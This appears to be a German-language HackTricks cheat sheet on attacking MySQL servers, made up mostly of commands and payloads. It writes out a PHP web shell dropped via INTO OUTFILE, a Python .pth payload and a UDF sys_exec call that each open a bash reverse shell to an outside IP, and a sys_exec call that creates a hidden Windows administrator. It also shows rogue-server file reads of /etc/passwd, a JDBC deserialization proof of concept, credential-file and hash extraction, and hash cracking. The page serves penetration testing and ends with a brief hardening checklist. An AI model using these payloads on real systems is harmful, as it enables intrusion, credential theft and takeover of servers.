3306 - Pentesting Mysql

Reading time: 17 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

MySQL kann als ein Open-Source Relational Database Management System (RDBMS) beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der Structured Query Language (SQL), die die Verwaltung und Manipulation von Datenbanken ermöglicht.

Standardport: 3306

3306/tcp open  mysql

Verbinden

Lokal

bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Fernzugriff

bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Externe Enumeration

Einige der Enumerationsaktionen erfordern gültige Anmeldeinformationen.

bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Schreiben Sie beliebige Binärdaten

bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL-Befehle

bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Berechtigungsenumeration

sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Siehe in den Dokumenten die Bedeutung jedes Privilegs: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE → Python .pth RCE (sitespezifische Konfigurations-Hooks)

Durch den Missbrauch des klassischen INTO OUTFILE Primitivs ist es möglich, willkürliche Codeausführung auf Zielen zu erlangen, die später Python-Skripte ausführen.

  1. Verwenden Sie INTO OUTFILE, um eine benutzerdefinierte .pth-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von site.py geladen wird (z. B. .../lib/python3.10/site-packages/).
  2. Die .pth-Datei kann eine einzelne Zeile enthalten, die mit import beginnt, gefolgt von willkürlichem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
  3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel /cgi-bin/ml-draw.py mit Shebang #!/bin/python), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als root aus → vollständige Pre-Auth RCE).

Beispiel .pth Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/UNHEX() oder String-Konkatenation möglicherweise erforderlich):

python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

Beispiel für das Erstellen der Datei durch eine UNION-Abfrage (Leerzeichen durch /**/ ersetzt, um einen sscanf("%128s")-Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten):

sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

Wichtige Einschränkungen & Umgehungen:

  • INTO OUTFILE kann vorhandene Dateien nicht überschreiben; wählen Sie einen neuen Dateinamen.
  • Der Dateipfad wird relativ zum CWD von MySQL aufgelöst, daher hilft das Präfix ../../, um den Pfad zu verkürzen und Einschränkungen bei absoluten Pfaden zu umgehen.
  • Wenn die Angreifer-Eingabe mit %128s (oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload abschneiden; verwenden Sie MySQL-Kommentarsequenzen /**/ oder /*!*/, um Leerzeichen zu ersetzen.
  • Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das FILE-Privileg, aber in vielen Geräten (z.B. FortiWeb) läuft der Dienst als root, was fast überall Schreibzugriff gewährt.

Nachdem die .pth abgelegt wurde, fordern Sie einfach ein CGI an, das vom Python-Interpreter verarbeitet wird, um Codeausführung zu erhalten:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Der Python-Prozess wird die bösartige .pth automatisch importieren und die Shell-Nutzlast ausführen.

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL willkürliches Lesen von Dateien durch den Client

Tatsächlich, wenn Sie versuchen, Daten lokal in eine Tabelle zu laden, fragt der MySQL- oder MariaDB-Server den Client, um sie zu lesen und den Inhalt zu senden. Wenn Sie dann einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.
Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden:

bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Achten Sie auf das Wort "local")
Denn ohne das "local" können Sie Folgendes erhalten:

bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
In diesem Papier finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann: https://paper.seebug.org/1113/
Hier finden Sie eine Übersicht über den Angriff: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Mysql Benutzer

Es wird sehr interessant sein, wenn mysql als root läuft:

bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Gefährliche Einstellungen von mysqld.cnf

In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:

  • Die user-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird.
  • password wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.
  • admin_address gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört.
  • Die debug-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen.
  • sql_warnings verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
  • Mit secure_file_priv wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen.

Privilegieneskalation

bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilegieneskalation über Bibliothek

Wenn der mysql-Server als root (oder ein anderer privilegierter Benutzer) läuft, können Sie ihn dazu bringen, Befehle auszuführen. Dazu müssen Sie benutzerdefinierte Funktionen verwenden. Um eine benutzerdefinierte Funktion zu erstellen, benötigen Sie eine Bibliothek für das Betriebssystem, auf dem mysql läuft.

Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie locate "*lib_mysqludf_sys*" ausführen. Die .so-Dateien sind Linux-Bibliotheken und die .dll sind die Windows-Dateien, wählen Sie die, die Sie benötigen.

Wenn Sie diese Bibliotheken nicht haben, können Sie entweder nach ihnen suchen oder diesen linux C-Code herunterladen und in der verwundbaren Linux-Maschine kompilieren:

bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Jetzt, da Sie die Bibliothek haben, melden Sie sich als privilegierter Benutzer (root?) in Mysql an und folgen Sie den nächsten Schritten:

Linux

sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extrahieren von MySQL-Anmeldeinformationen aus Dateien

In /etc/mysql/debian.cnf finden Sie das Klartext-Passwort des Benutzers debian-sys-maint.

bash
cat /etc/mysql/debian.cnf

Sie können diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenbank anzumelden.

In der Datei: /var/lib/mysql/mysql/user.MYD finden Sie alle Hashes der MySQL-Benutzer (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können).

Sie können sie extrahieren, indem Sie:

bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Aktivierung des Loggings

Sie können das Logging von MySQL-Abfragen in /etc/mysql/my.cnf aktivieren, indem Sie die folgenden Zeilen auskommentieren:

Nützliche Dateien

Konfigurationsdateien

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Befehlshistorie
  • ~/.mysql.history
  • Protokolldateien
  • connections.log
  • update.log
  • common.log

Standard MySQL-Datenbank/Tabellen

ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS

HackTricks Automatische Befehle

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 Highlights (neu)

JDBC propertiesTransform Deserialisierung (CVE-2023-21971)

Von Connector/J <= 8.0.32 kann ein Angreifer, der die JDBC-URL beeinflussen kann (zum Beispiel in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), beliebige Klassen anfordern, die auf der Client-Seite über den Parameter propertiesTransform geladen werden. Wenn ein Gadget, das im Klassenpfad vorhanden ist, ladbar ist, führt dies zu Remote-Code-Ausführung im Kontext des JDBC-Clients (pre-auth, da keine gültigen Anmeldeinformationen erforderlich sind). Ein minimales PoC sieht so aus:

java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Das Ausführen von Evil.class kann so einfach sein wie das Bereitstellen im Klassenpfad der verwundbaren Anwendung oder das Zulassen eines bösartigen MySQL-Servers, der ein schädliches serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie propertiesTransform explizit auf eine Zulassungsliste. (Siehe Snyk-Bericht für Details)

Angriffe von bösartigen / gefälschten MySQL-Servern gegen JDBC-Clients

Mehrere Open-Source-Tools implementieren ein teilweises MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden:

  • mysql-fake-server (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits)
  • rogue_mysql_server (Python, ähnliche Fähigkeiten)

Typische Angriffswege:

  1. Die Opferanwendung lädt mysql-connector-j mit allowLoadLocalInfile=true oder autoDeserialize=true.
  2. Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
  3. Der bösartige Server antwortet mit gestalteten Paketen, die entweder LOCAL INFILE willkürliches Datei-Lesen oder Java-Deserialisierung → RCE auslösen.

Beispiel für einen Einzeiler zum Starten eines gefälschten Servers (Java):

bash
java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

Dann weisen Sie die Opferanwendung auf jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true und lesen Sie /etc/passwd, indem Sie den Dateinamen im Benutzernamen-Feld als base64 kodieren (fileread_/etc/passwdbase64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).

Knacken von caching_sha2_password-Hashes

MySQL ≥ 8.0 speichert Passwort-Hashes als $mysql-sha2$ (SHA-256). Sowohl Hashcat (Modus 21100) als auch John-the-Ripper (--format=mysql-sha2) unterstützen das Offline-Knacken seit 2023. Dumpen Sie die authentication_string-Spalte und füttern Sie sie direkt ein:

bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Hardening checklist (2025)

• Setze LOCAL_INFILE=0 und --secure-file-priv=/var/empty, um die meisten Datei-Lese-/Schreib-Primitiven zu deaktivieren.
• Entferne das FILE-Privileg von Anwendungsaccounts.
• Setze bei Connector/J allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (leer).
• Deaktiviere ungenutzte Authentifizierungs-Plugins und erfordere TLS (require_secure_transport = ON).
• Überwache CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL und plötzliche SET GLOBAL-Anweisungen.


References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks